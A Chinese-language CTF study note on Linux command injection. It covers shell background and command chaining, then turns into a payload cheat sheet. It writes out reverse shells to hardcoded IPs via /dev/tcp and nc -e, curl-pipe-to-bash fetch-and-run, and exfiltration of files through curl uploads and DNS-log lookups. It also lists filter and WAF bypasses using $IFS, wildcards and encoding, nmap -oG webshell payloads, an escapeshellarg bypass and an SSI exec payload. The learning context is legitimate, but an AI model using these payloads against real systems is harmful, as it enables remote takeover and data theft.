linux命令注入
简介:就是在一些明显帮你执行命令的地方对其进行恶意命令的注入。
探针:一般看康他能不能读取phpinfo
目标:找flag,根目录(/flag),当前目录(./flag),环境变量,
前置知识
终端
终端(英语:Computer terminal),是与计算机系统相连的一种输入输出设备,通常离计算机较远。
- 图形终端
有些终端不但可以显示文字,而且可以显示矢量图形和位图。计算机向终端输出绘图指令,终端则向计算机输送用户输入(通过键盘或者定位设备)。
事实上今天过去简单的图形终端已经完全被全功能视频显示器代替了。今天在计算机中图形用户界面无处不在。大多数终端模拟程序是在图形环境内运行的。
- 终端系统
现代的操作系统如Linux和BSD及其派生物使用与硬件基本无关的虚拟终端。输出系统一般是显示屏,输入系统则是键盘。
一般大型计算机的终端是字母式的输入和输出接口,因此一个虚拟终端至少需要一个能够模拟这样的字母式(比如ASCII)输入和输出接口的能力。最常见的平台是图像式的用户表面。要使得新的、图像式的程序能够使用老的字母式的或者没有图像式输入和输出能力的程序也需要虚拟终端。
现代的大型计算机也内部使用虚拟终端,这样它们可以向老的、需要终端的程序假装一个终端,而实际上它则将程序的显示转到显卡上。比如Linux以及其它大多数基于个人电脑的类似Unix的操作系统假装有六至十个这样的“虚拟”的终端。
工作方式:
虚拟终端完成一个终端程序的任务。不过一个虚拟终端是一个普通的、在一个操作系统上、在电脑中央处理器上运行的普通程序,而不是一个存储在终端只读存储器中的、在终端的中央处理器上运行的程序。虚拟终端分析一个字母式的程序的输出,将它转换为图像接口(比如X11)的输出。
终端窗口内的键盘输入传递给大型计算机中与终端连接的进程,一般这个行程是一个命令行解释器。这个行程以为自己是与一个终端相连,而实际上它是与一个虚拟终端相连。
这时候有个概念,命令行解释器
命令行解释器
命令行界面(英语:Command-Line Interface,缩写:CLI)是在图形用户界面得到普及之前使用最为广泛的用户界面,它通常不支持鼠标,用户通过键盘输入指令,计算机接收到指令后,予以执行。也有人称之为字符用户界面(character user interface, CUI)。
常见的CLI程序:
-
cmd.exe / 命令提示符(Windows NT和Windows CE系统)
-
Windows PowerShell(支持.NET Framework技术的Windows NT系统)
所以总的来说,假如我需要和一个电子设备进行交互,那么我需要一个输入设备,对于unix,输入设备在硬件上往往就是键盘,软件上就是一个虚拟终端,键盘的输入可以由虚拟终端的命令行解释器CLI进行解释,而对于unix而言,命令行解释器往往就是bash,sh,zsh之类的。
Perl
Perl是高階、通用、直譯式、動態的程式語言家族。最初設計者拉里·沃爾為了讓在UNIX上進行報表處理的工作變得更方便,決定開發一個通用的手稿語言,而在1987年12月18日發表。目前,Perl語言家族包含兩個分支Perl 5以及Perl 6。雖然Perl不是正式的首字母縮略詞[4],但仍有各種各樣的逆向首字母縮略詞,包括「實用的提取和報告語言」。[5]
Perl借用了C、sed、awk、shell指令碼、Lisp以及很多其他程式語言的特性。其中最重要的特性是Perl內部整合了正規表示式的功能,以及巨大的第三方代碼庫CPAN。
2000年開始,拉里·沃爾著手開發Perl 6來作為Perl的後繼,Perl 6語言的語法有很多轉變,也被視為Perl家族中的另一個語言(Perl 6於2019年更名為Raku)。[6]
Perl語言應用廣泛,涵蓋CGI、圖形編程、系統管理、網路編程、金融、生物等領域。由於其靈活性,Perl被稱為手稿語言中的瑞士軍刀。[7]
鑑於Perl在實際工程應用中廣泛使用,MacOS,Linux,FreeBSD等現代化作業系統預設安裝Perl。
学习perl可以方便我们写shell,写脚本
bash
bash和sh都是基于这个标准实现的
https://www.gnu.org/software/bash/manual/bash.html#What-is-Bash_003f
学习bash的语法可以为我们命令注入的变形绕过等等操作提供知识储备
sh
php的eval等等系统调用函数其实用的是sh
学习sh的语法可以为我们对php执行系统命令的变形绕过等等操作提供知识储备
ssh连接
ssh连接是这个
系统的标准-POSIX
之所以mac可以兼容unix就是以为内核是遵循同一个标准
https://cloud.tencent.com/developer/ask/26856
bash命令的前置知识
单引号、双引号、反引号的区别
简单的说就是:单引号原样输出,双引号输出变量存储的值,反引号把变量作为命令后执行,并返回其结果。
可以看到反引号显然相当于一个eval
eval函数
里面需要一个phpcode,而phpcode需要单引号或者双引号包裹
关联指令
cmd1|cmd2:不论cmd1是否为真,cmd2都会被执行;管道符执行,上一个的输出作为下一个的输入,允许不能接受输入的指令放在管道符后
cmd1||cmd2:如果cmd1为假,则执行cmd2;或执行
cmd1&&cmd2:如果cmd1为真,则执行cmd2;与执行
cmd1&cmd2: cmd1和cmd2并发执行;这个&是挂载的意思,cmd1被挂起
cmd1&!cmd2: 和上面类似,知识加上感叹号不会随父进程退出而退出cmd1
分隔指令
相当于指令逐条执行(如cd会影响后续指令的工作目录),报错不影响后续语句执行
1.分号
root@ea8d5739a5b7:/# whoami;xxx
root
bash: xxx: command not found
root@ea8d5739a5b7:/# xxx;whoami
bash: xxx: command not found
root
2.换行
root@ea8d5739a5b7:/# xxx
bash: xxx: command not found
root@ea8d5739a5b7:/# whoami
root
嵌套执行命令
1.``
执行反引号内执行的结果
注:仅支持单条指令,不可利用分号、换行执行多条
root@ea8d5739a5b7:/tmp# `echo 'whoami'`
root
2.$()
执行小括号内执行的结果
注:仅支持单条指令,不可利用分号、换行执行多条
root@ea8d5739a5b7:/tmp# $(echo 'whoami')
root
3.{}
执行小括号内执行的结果
注:仅支持单条指令,不可利用分号、换行执行多条
➜ ~ {whoami}
thai
➜ ~ echo "whoami" | base64
d2hvYW1pCg==
➜ ~ {echo d2hvYW1pCg== | base64 -d}
whoami
可以实现无空格
{cat,/flag}
但是这里的shell仅限于sh,bash不行
无回显执行命令
反弹shell
payload
https://forum.ywhack.com/shell.php
经典paylaod
靶机
bash -i >& /dev/tcp/8.129.42.140/3307 0>&1
或者
bash -c 'bash -i >& /dev/tcp/8.129.42.140/3307 0>&1'
攻击机
nc -lvvp 3307
还有另外的做法
wget vps/bash | bash
nc反弹shell
nc -e /bin/bash 192.168.2.102 4444
文件文件描述符
系统中实际上有12个文件描述符,但是正如我们在上表中所看到的, 0、1、2是标准输入、输出和错误。可以任意使用文件描述符3到9。
标准输入是文件描述符0。它是命令的输入,缺省是键盘,也可以是文件或其他命令的输出。
标准输出是文件描述符1。它是命令的输出,缺省是屏幕,也可以是文件。
标准错误是文件描述符2。这是命令错误的输出,缺省是屏幕,同样也可以是文件。
绕过点
用那个ip转int
绕过 -
然后这个ip下面弄个bash
内容:
bash -i >& /dev/tcp/172.26.106.236/7777 0>&1
同时攻击机监听
nc -lvvp 7777
然后靶机
curl http://2002488544/bash | bash
关于shell(sell交互)
蚁剑一把梭
r0ckyzz大哥和我说过,蚁剑的shell是没法交互的,而且它不支持复制黏贴,所以我们得反弹个shell
注意单引号
结果发现反弹了也没办法回答那个问题,加上trap "" 14
,参考(62条消息) Linux Trap命令_从菜鸟到菜菜鸟-CSDN博客_linux trap
写文件
linux写文件
遇到一些只执行不回显的函数,应该想办法使它通过特别的形式“回显”,比如写在一个txt文件上
dir | tee ls_tee1.txt
管道符的作用是把前一个命令的结果写到后一个去,dir执行的结果作为 tee命令的输入, tee可以把执行结果写入ls_tee1.txt
或者用
ls>1.txt
或者其他操作:mv(移动文件) zip(压缩文件)
或者反弹shell
也可以用:管道运算符或者箭头 写文件
关于管道运算符或者箭头什么的操作:
https://blog.csdn.net/Chuanqi_/article/details/81777290
传文件(外带)
条件:比如说以图片形式存放在根目录下的flag
curl
- 传文件类信息
- 转base64 2. 传文件到8.129.42.140:3307
cat flag-as98dc6rnv3p948r7asp98fdynp.jpg |base64 >/tmp/base64.jpg;
curl -F 'file=@/tmp/base64.jpg' 8.129.42.140:3307"
vps上面接受
nc -lvvp 3307 >./base64.png
然后要掐头去尾,因为传过来是http报文
- 传较短的文本类信息
curl http://xxx.xxx.xxx.xxx?flag=xxxxx
注意有些shell一定要头 http://
wget
dnslog
dnslog平台,但是执行结果最好要base64编码(因为特殊字符或者太长都会导致域名格式错误)
ping -c 1 `cat /flag | base64 | sed s/[[:space:]]//`.g5bdo6.dnslog.cn
意思是cat /flag->base64编码的flag->使用sed把base64拼在dns域名上
python
python起一个http服务(这种做法比较容易被发现)
python -m http.server 3307
绕过
绕过waf
在变量前面加入空格
绕过disabled_function限制
预操作
实现的方式有很多:
写文件
echo 'test' > cat
* /*
cat也可以是目录等
环境变量
a=cat
$a /*
无回显rce
- 反弹shell
bash,nc,curl,python,php,java
- cat /flag > flag.txt
注意读写权限
-
wget传文件
-
出网外带(dnslog)
过滤空格
cat flag.txt //下面为替换类型
cat$IFSflag.txt
cat${IFS}flag.txt
cat$IFS$9flag.txt
cat<flag.txt
cat<>flag.txt
${IFS}
:%20%09%0a%00
%09
TAB键的url编码
cat%09flag
花括号执行命令
{dir,/}
如果实在不行呢,可以不使用空格
$IFS"ls"$IFS"/"
过滤斜杠
如果是unix环境
可以用${PATH%%u*}
代替\
${PATH%%u*}
$变量名
加大括号是用于拼接
root@b78597bc12db:/var/www/html# echo $HOME
/root
root@b78597bc12db:/var/www/html# echo ${IFS}
root@b78597bc12db:/var/www/html# echo ${PATH%%u*}
/
拼接字符串
变量绕过
各种截取环境变量的方式
(60条消息) linux对一个变量进行切割提取_三颗草丶的博客-CSDN博客_linux 变量截取
linux中shell截取字符串方法总结-阿里云开发者社区 (aliyun.com)
- 未定义的变量为空字符
root@ea8d5739a5b7:/tmp# who${xxx}ami
root
- 后面没字母,直接用
$
即可
root@ea8d5739a5b7:/tmp# a=ami
root@ea8d5739a5b7:/tmp# who$a
root
后面有字母,需用`${}`
root@ea8d5739a5b7:/tmp# a=who
root@ea8d5739a5b7:/tmp# ${a}ami
root
后面有字母,也可以使用数字$1
[thai@thaiUnix ~]$ cat fl$1a$1g
cat: flag: 没有那个文件或目录
- 默认环境变量,
env
进行查看,可利用如:$PWD
APACHE_CONFDIR=/etc/apache2
HOSTNAME=ea8d5739a5b7
PHP_INI_DIR=/usr/local/etc/php
SHLVL=0
PHP_LDFLAGS=-Wl,-O1 -pie
APACHE_RUN_DIR=/var/run/apache2
PHP_CFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_VERSION=7.4.30
APACHE_PID_FILE=/var/run/apache2/apache2.pid
GPG_KEYS=42670A7FE4D0441C8E4632349E4FDC074A4EF02D 5A52880781F755608BF815FC910DEB46F53EA312
PHP_ASC_URL=https://www.php.net/distributions/php-7.4.30.tar.xz.asc
PHP_CPPFLAGS=-fstack-protector-strong -fpic -fpie -O2 -D_LARGEFILE_SOURCE -D_FILE_OFFSET_BITS=64
PHP_URL=https://www.php.net/distributions/php-7.4.30.tar.xz
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
APACHE_LOCK_DIR=/var/lock/apache2
LANG=C
APACHE_RUN_GROUP=www-data
APACHE_RUN_USER=www-data
APACHE_LOG_DIR=/var/log/apache2
PWD=/var/www/html
PHPIZE_DEPS=autoconf dpkg-dev file g++ gcc libc-dev make pkg-config re2c
PHP_SHA256=ea72a34f32c67e79ac2da7dfe96177f3c451c3eefae5810ba13312ed398ba70d
APACHE_ENVVARS=/etc/apache2/envvars
- 变量截取:只能用于变量
root@ea8d5739a5b7:/tmp# a=who
root@ea8d5739a5b7:/tmp# ${a:0:3}ami
root
结合默认环境变量
root@ea8d5739a5b7:/tmp# who${SHELL:6:1}mi
root
$[]
拼接算数结果
root@ea8d5739a5b7:/tmp# base$[8*8] /flag
ZmxhZ3t0ZXN0fQo=
系统内置的变量
$0
、$1
、$2
……:Shell本身的文件名及添加到Shell的各参数值$*
、$@
:将所有参数返回$#
:参数的个数$_
:代表上一个命令的最后一个参数$$
:代表所在命令的PID$!
:代表最后执行的后台命令的PID$?
:代表上一个命令执行是否成功的标志,如果执行成功则为0,否则不为0
转义符
c\at /fla\g
单引号双引号
类似的,js也有
空字符
printf 'ca\x00t /etc/pass\x00wd' | bash //十六进制
printf 'ca\00t /etc/pass\00wd' | bash //八进制
注意:php中的system之类的函数有空字符校验:Warning: system(): NULL byte detected. Possible attack in /var/www/html/index.php on line 2
同义词代替
使用通配符绕过
cat /*
cat /f*
*也适用于系统(参考上面预操作)
或者
cat /fla?
使用正则表达式区间的写法
cat /fla[a-z]
cat /fl[a,b]g
也可以使用取反的操作,比如说a被过滤了
cat /fl[^b-z]g
- 匹配所用
{}
内字符,不管是否符合 - 适用于系统指令
root@ea8d5739a5b7:/tmp# cat /fl{a,b}g
flag{test}
flag{test2}
root@ea8d5739a5b7:/tmp# cat /fl{a..c}g
flag{test}
flag{test2}
cat: /flcg: No such file or directory
root@ea8d5739a5b7:/tmp# c{a,b}t /flag
cat: cbt: No such file or directory
flag{test}
root@ea8d5739a5b7:/tmp# c{a..c}t /flag
cat: cbt: No such file or directory
cat: cct: No such file or directory
flag{test}
编码类
- base64
echo "Y2F0IGZsYWcucGhw"|base64 -d|bash
echo "Y2F0IC9mbGFn"|base64 -d|bash
前边Y2F0IGZsYWcucGhw是cat flag.php的base64编码.在用base64 -d命令进行执行
- hex
echo "636174202f666c6167" | xxd -r -p|bash
或者printf
$(printf "\x6c\x73") //\x6c\x73这个是ls的十六进制
十六进制建议用hackbar搞!
- 八进制
`printf "\143\141\164\40\57\52"` // cat /*
cat被过滤
如果cat被过滤,可以用下边的方法进行绕过~~
(1)more:一页一页的显示档案内容
(2)less:与 more 类似,但是比 more 更好的是,他可以[pg dn][pg up]翻页
(3)head:查看头几行
(4)tac:从最后一行开始显示,可以看出 tac 是 cat 的反向显示
(5)tail:查看尾几行
(6)nl:显示的时候,顺便输出行号
(7)od:以二进制的方式读取档案内容
(8)vi:一种编辑器,这个也可以查看
(9)vim:一种编辑器,这个也可以查看
(10)sort:可以查看
(11)uniq:可以查看
(12)file -f:报错出具体内容
(13)rev: 逆向输出
(14)grep: grep { flag 寻找具有某种范式的文件(并以此范式输出)
(15)diff: 比较文件内容
(16)base64
(17)strings
(18)fmt
(19)php
(19.5)python //python报错输出
(20)cut:cut -b1- /flag 、cut -c1- /flag 、 cut -f1 /flag
(21)curl: curl file:///flag //bash一般是允许的
(22)diff /flag /etc/passwd
(23)iconv /flag
(24)paste /flag /etc/passwd
(25)base32、base64、xxd 例如base64 /etc/passwd
(26)bzmore、bzless:bzmore /flag、bzless /flag
————————————————
原文链接:https://blog.csdn.net/qq_46184013/article/details/107061110
还有一种情况就是环境变量没有设置cat,这样的话我们要进入到cat的目录下运行cat才可以执行cat命令,比如说/bin/cat
ls被过滤
列目录
dir
vdir
find
vdir简介
使用:
vdir [OPTION]... [FILE]...
diff /home
参数执行
Nmap(参数执行)
往往是利用nmap写入文件的一些方法写入后门。
这时候可能涉及escapeshellarg与escapeshellcmd的混用漏洞
nmap常见参数
-oG 写入某个文件
-oN 标准保存
-Pn: 不对目标进行ping探测(不判断主机是否在线)(直接扫描 端口)
-sT: 使用TCP进行扫描
-f: 快速模式-扫描比默认扫描更少的端口
--host-timeout 设置超时时间
T <0-5> 设置时间模板,值越小,IDS报警几率越低
常见写马的payload
<?php @eval();?> -oG hack.php
-oN b.phtml <?=eval(\$_POST[a]);?>
常见读取文件payload
127.0.0.1' -iL ../../../../flag -o 1
127.0.0.1' -iL /flag -oN vege.txt '
那么如何绕过两个函数呢(源码如下)
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR'];
}
if(!isset($_GET['host'])) {
highlight_file(__FILE__);
} else {
$host = $_GET['host'];
$host = escapeshellarg($host);
$host = escapeshellcmd($host);
$sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']);
echo 'you are in sandbox '.$sandbox;
@mkdir($sandbox);
chdir($sandbox);
echo system("nmap -T5 -sT -Pn --host-timeout 2 -F ".$host);
}
————————————————
版权声明:本文为CSDN博主「Senimo_」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/weixin_44037296/article/details/110900266
先本地测试一下
发现当你传入类似ab'cd
的结构的东西时
cd
本该被单引号包裹起来但是却没有,直接逃逸出来了
所以cd
可以是恶意参数
另一种利用方法是
单引号包裹的cd也会被当作参数执行
shtml后缀
这种情况可能是这个漏洞:Apache SSI 远程命令执行漏洞复现 - 雨中落叶 - 博客园 (cnblogs.com)
payload
<!--#exec cmd="cat /flag" -->
题目
BUUCTF [网鼎杯 2020 朱雀组] Nmap
考点:nmap -oG 写入文件
、-iL读取扫描文件
、escapeshellarg
绕过
参考:[(19条消息) BUUCTF 网鼎杯 2020 朱雀组] Nmap_Senimo-CSDN博客](https://blog.csdn.net/weixin_44037296/article/details/110893526)
cat
看nigix本地日志
超过字符上限
bee框架漏洞